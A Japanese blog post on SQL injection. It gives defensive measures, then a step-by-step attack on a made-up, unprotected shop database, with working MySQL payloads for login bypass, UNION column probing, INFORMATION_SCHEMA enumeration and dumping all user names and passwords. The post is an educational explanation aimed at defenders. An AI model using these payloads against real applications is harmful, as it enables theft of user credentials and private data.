そろそろSQLインジェクションについてひとこと言っておくか。

ちょっとSQL Injectionについて未だに情報が少ないのにいらついていたので。
というか対策ばっかりで何ができますよーってのはほとんどログインできますよーくらいじゃねえか。
具体的な攻撃方法もわからずにぼんやり対策してるだけの人多いような気がするのでちょっと攻撃方法書いとく。

SQLインジェクションってなに?

アプリのユーザ入力領域からSQL文を注入されてしまうこと。
サーバでこういうコード書いてると、user_nameに「' or '1'='1';#」とか書かれて素敵なことになる。(mysqlの場合)

String sql = "SELECT * FROM users WHERE = name = '"+user_name+"' AND password='"+user_password+"'";

簡単に言うと、開発者の意図しないSQLをユーザの入力によって行う攻撃手法ですね。

SQLインジェクションの対策方法

とりあえずは対策から。

  • プリペアドステートメントの利用
  • シングルコーテーションやバックスラッシュのエスケープ
  • ブラックリストによる攻撃検知(サーバのアクセス、DBへ発行されるクエリとか)
  • アプリケーションに必要な権限だけを付与する
  • エラーメッセージを表示しない


とかまぁこんな感じすね、まぁこの辺見てください
今夜分かるSQLインジェクション対策:Security&Trust ウォッチ(42) - @IT


基本的にはXSSもそうなんだけど、ユーザから渡される値を全て信用しないことです。
通常の入力もそうだし、環境変数やクッキー文字列も注意してください。
【緊急注意喚起】 新手のSQLインジェクションを行使するボットの確認 | セキュリティ対策のラック

プリペアドステートメントについての注意。

プリペアドステートメントは、本来DB側でクエリをキャッシュさせて効率化をはかるのが目的のもので、
SQLとデータを別々にDBに渡します。
そのため、SQLインジェクションが起こりえない。というわけなのですが。。。
DB接続用のライブラリによってはなぜかライブラリ側でSQLを組み立てている場合があるので、注意してください。
PEARのDBがそうだという話が書いてありました。
IPA ISEC セキュア・プログラミング講座:Webアプリケーション編 第6章 入力・注入対策:SQL注入攻撃: #1 実装における対策(一番下のほう)
他のライブラリも、どうなっているか確認しておいたほうがいいかもしれません。


あ、サポートしてないDBもあるのかな?誰か詳しい人教えてください。

アタックする(本題)

とりあえずhackmeデータベースでも用意しましょうか。
こんな感じのECサイトのデータベースを想定。内容は超適当
users

id name password card_number point
1 taro hage xxxxx 1000
2 jiro hoge aaaaa 500
3 hanako hige bbbbb 0

items

id name price
1 mikan 1000
2 ringo 500
3 budo 100

このサイトはなんと全ての入力値に対策が行われてなく、エラーメッセージも全部表示されてしまいます。
あなたはログインフォームでSQLインジェクションができ、他人のユーザ名でログインできることを確認しました。
SQLが実行できるので、悪そうなことは色々できそうなのですが。。。

DBの調査

まずはDBとwebアプリが何で作成されているか特定しましょう。
webアプリは拡張子が.phpなため、phpを使って書かれているというのがわかりました。
エラーメッセージが表示されているのであれば、適当なエラーを発生させたらわかるはずです。
入力値にシングルコーテーションを入れるとこんなエラーメッセージが。

#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''

MySQLということがわかりました。
MySQLPHPの組み合わせの場合、複文がサポートされてないことが多いので、アップデート文を実行して商品の値段を0円にしたり、自分のポイントをすごい額にしたりは無理そうですね。
せっかくですし全てのユーザのデータを頂きましょう。

テーブルの一覧を手に入れる

どんなテーブルがあるのかわかれば攻撃の目処も立てやすくなります。
MySQLにはshow tablesというコマンドがあるのですが、これだとSQLインジェクションで使えないのでこんな感じで。
これを実行させるのが目的になります。

SELECT * FROM INFORMATION_SCHEMA.TABLES

で、この結果を表示したいのですが、今回は商品検索画面を使います。

id 商品名 価格
1 mikan 1000円
2 ringo 500円
3 budo 100円

のように表示されていて、検索用に商品名の入力フォームが設置してあります。せっかくなので、ここを利用しましょう。
部分一致検索と書いてあるのできっと内部のSQLはこんな感じだなというのがわかります。
カラム名、テーブル名は今のところ判明してません。(エラーのクエリ表示させたら一部はわかるかも。)

"SELECT column1,column2... FROM tablename WHERE column1 like '%"+入力値+"%'"

この結果にUNIONでテーブル一覧を結合させてしまえば便利なクエリ結果表示画面ができそうです。
まずはカラムの数と型を調べます。入力値にこんな感じで文字列を

' and 1=0 UNION ALL SELECT null #

UNION句はカラムの個数と型が同じじゃないとDBエラーになるので
1個からはじめて、DBエラーが出なくなるまで続けます。(NULLは何型でも存在するので個数だけあっていれば良い)

' and 1=0 UNION ALL SELECT null,null,null #

この文字列を注入したときに、DBエラーがでなかったのでこれで確定できました。
今回は3カラムだということがわかりました。
次は型情報を調べて、UNIONで他のテーブルの情報を表示させる準備をします。
。。。なのですが、MySQLは型に対してかなりゆるふわなので、UNIONから型情報を判別するときに
アプリ側のエラーを利用する必要があります。アプリでエラーがでないならば別に困らないので必要ないですね。


他の多くのDBMSの場合、UNIONで結果を結合するときに、カラムの型が同じじゃないとエラーになるはずです。


なんでまぁこのステップは型情報が必要な場合行ってください。
おそらく数値と文字列だろうとあたりをつけてこんな感じで。

' and 1=0 UNION ALL SELECT '',null,null #
' and 1=0 UNION ALL SELECT 1,null,null #

これを、全てのカラムに対して実行していきます。

3カラムまで表示することができるのがわかったので、やっとSQLを。

' UNION ALL (SELECT TABLE_SCHEMA,TABLE_NAME ,TABLE_COMMENT FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE') ;#

とりあえず有用そうな項目を表示させました。
この結果から、システムやDB管理ツールが作成したようなテーブルを除外し、このアプリで使用しているテーブル一覧を手に入れることができます。
usersとitemsというテーブルがそれっぽそうです。

カラムの一覧を手に入れる

同じ方法で好きなカラムの一覧を手に入れる。

' and 1=0 UNION ALL (SELECT TABLE_NAME,COLUMN_NAME,DATA_TYPE FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME IN('users','items') ORDER BY TABLE_NAME) ;#

これでテーブルの情報が裸になりました!
あとは好きなデータを表示することができます。

会員情報を全て表示

' and 1=0 UNION ALL (SELECT name,password,point FROM users);#

全ての会員情報のユーザ情報とパスワードが表示されたので、こころゆくまで眺めた後そっとブラウザを閉じます。

終わりに

今回解説したのは一般的なSQLインジェクションなんだけど、実際DBやアプリのエラーが表示されるシステムは少ないですよね。
エラーメッセージが表示されない環境下で行うブラインドSQLインジェクションという手法もあるので、皆さん気をつけましょう。
エラー画面が表示されない中、1ビットの情報を積み重ねていきながら対象をハックするのはある種の感動すら覚えますね。

関連情報

はてぶも沢山張られてたらしいしこれとか見るとわかりやすいんじゃないかな!
SQL Injection Cheat Sheet | Netsparker
ハッカージャパン2007年5月号で翻訳されてます。また本誌にはこのサンプルを使った解説も載ってました。
http://www.byakuya-shobo.co.jp/hj/2007_05_SQLcheat.html